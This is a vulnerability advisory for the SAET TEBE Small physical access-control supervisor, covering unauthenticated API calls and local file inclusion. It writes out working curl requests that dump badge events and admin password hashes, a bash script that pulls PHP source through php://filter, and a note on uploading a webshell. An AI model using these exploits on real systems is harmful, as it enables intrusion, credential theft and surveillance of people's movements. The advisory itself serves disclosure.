SAET TEBE Small Supervisor, Multiple Vulnerabilities

# Product version: v05.01 build 1137
# Webapp version: v04.68
# Vendor homepage:


TEBE Small is a physical access control system manufactured by SAET Impianti Speciali.
It consists in a modular network of “terminals” which are deployed in a building and read badges or other authentication mechanisms, and a “supervisor”, which is typically installed on a Raspberry Pi, who manages and orchestrates the terminals.
On the supervisor is installed a Web Application that provides a dashboard used by the administrator to control the behavior of the terminals and to manage the user permissions and authorization.


The Web Application is affected by some vulnerabilities that allow an attacker to overtake the system by gaining the admin password.

The vulnerabilities found are listed below:

  • Local File Inclusion (CVE-2019-9106)
  • Unauthenticated API calls (CVE-2019-9105)


We assume that the supervisor is installed at “https://my-supervisor.tld”.

We start by looking at the file “https://my-supervisor.tld/inc/js/saet.js”, which is included in the index page.

This file is filled with JavaScript functions that call a REST API proxy served at “https://my-supervisor.tld/inc/utils/REST_API.php”.

function startRealTime() {
"use strict";

$('.eventstable tbody').empty();
$('#fromdate, #todate').hide();


$.get('inc/utils/REST_API.php', {
command: 'CallAPI',
customurl: 'history/maxlastupdate',
method: 'GET'
}, function(data) {
lastupdate = data.lastupdate;
startedRealTime = 1;
timeout = setTimeout( getLastEvents, realTimeInterval);
}, "json");

If we try to construct the API call, we come to this:

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Fmaxlastupdate&method=GET&svm_id="
{"lastupdate": 1550490686073, "causal_code": 0, "area": 1, "timestamp": 1550490685, "user_second_name": "Doe", "user_first_name": "John", "badge_id": 1234, "terminal_id": 6, "synchronised": false, "event": 7, "svm_id": 0}

So we can monitor in real time people coming in and out, without any authentication.

By further investigating the “saet.js” file we can detect some other interesting API calls. We can, for example, dump the whole database of events with a single command, so no polling needed:

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Ffilter%2F%3Fstartdate%3D0%26enddate%3D1532683263728%26badges%3D*%26titolari%3D*%26event_type%3D*%26terminals%3D*%26causals%3D*%26areas%3D*%26logic%3Dand_%26limit%3D1000%26offset%3D0%26lastupdate%3D0&startdate=&enddate=&logic=1&method=GET&svm_id="

We now need to log in to further proceed with our analysis: luckily the sysadmin has left a weak password on the dashboard, so we can easily break in and star inspecting new pages.

The first thing to pay attention at is the way the various views are displayed: “https://my-supervisor.tld/index.php?menu=VIEW_NAME”

If we try to fuzz this “menu” field with some random string (“aaa”), we end up to something interesting:

Warning: require(aaa.php): failed to open stream: No such file or directory in /data/webapp/index.php on line 141
Fatal error: require(): Failed opening required 'aaa.php' (include_path='.:/usr/share/php:/usr/share/pear') in /data/webapp/index.php on line 141

So it seems the page is appending a “.php” extension to the “menu” field and trying to include it.

Moreover, the php filter “convert.base64-encode” is enabled, so we are able not only to include arbitrary php files, but also to encode them and download the source code.

To automate the process of downloading “.php” files from the server, we can write a simple bash script:



curl -c cookies.txt -b cookies.txt -s -i -k -X 'POST' --data "username=$USER&password=$PASSWORD&login=" "$URL" > /dev/null
curl -c cookies.txt -b cookies.txt "$URL/?menu=php://filter/convert.base64-encode/resource=$1" | grep '<div class="container alert alert-danger error_log">' | sed -r 's/<div class="container alert alert-danger error_log"><\/div>(.*)<\/div> <!-- mainwrapper -->/\1/g' | base64 -d

We can use this script to download, for example, the “index.php”:

$ ./ index > index.php

Now that we are able to download files, we need something useful to actually download.
We could now run a crawler or an URL fuzzer in order to detect relevant files.

From the results, it turns out that directory indexing is enabled on “/admin/” and “/inc/”, so that we don’t need to go through the code to find out interesting files to download, but what is most relevant now is a “login.php” file in the root directory.

Let’s download it with our previous exfiltrator script and investigate:

$svType = CallAPI( "GET", "whoami" );

$foundAdmin = 0;
if($svType == 'svm') {
$userquery = json_decode(CallAPI( "GET", "alladminusers", 0 ) );
if(sizeof($userquery) > 0) {
foreach($userquery as $userObj) {
$adminuser = (array)$userObj;
if($adminuser['role'] == ADMIN) {
$foundAdmin = 1;
} else {
$foundAdmin = 1;

The API call “alladminusers” appears to return a lot of useful stuff: it is worth a try…

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=alladminusers&method=GET&svm_id="
[{"username": "admin", "first_name": "admin", "role": 5, "plant_name": null, "password": "5f4dcc3b5aa765d61d8327deb882cf99", "second_name": "admin", "svm_id": 0}]

So now we can retrieve MD5 hashes of every admin account on the machine, all without authentication.

Once you log in the dashboard you can obviously do anything an admin can do, including enabling and disabling terminals, badges, downloading the access database, tamper with it and upload it again.

There’s even an upload form, where you are allowed to upload a “New Firmware”. There is no check in place to control the type of the file uploaded, so it is possible to upload a PHP webshell.

It gets uploaded to (extract from “/inc/global.php”):

define('NEW_FIRMWARE_FOLDER', '/data/firmware_new/');

But unluckily there’s a check in place in the `index.php` file which replaces all “_” with “/”, so we are unable to include that with the previous technique:

if($menu == '')
else {
$menuitem = str_replace('_', '/', $menu);


You can easily gain admin access to the dashboard and fully overtake the system.
Not only this: you can also both download and execute any file which ends with “.php”, except those containing an underscore in their path, and you can upload files too: the dashboard allows you to upload any kind of file in the “firmware update” tab. We are still unable to get a shell because of the underscore in the firmware upload path, but this deserves further investigations.

These flaws may compromise the integrity of the system and/or expose sensitive information.

February 6th, 2019: Vendor notification

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.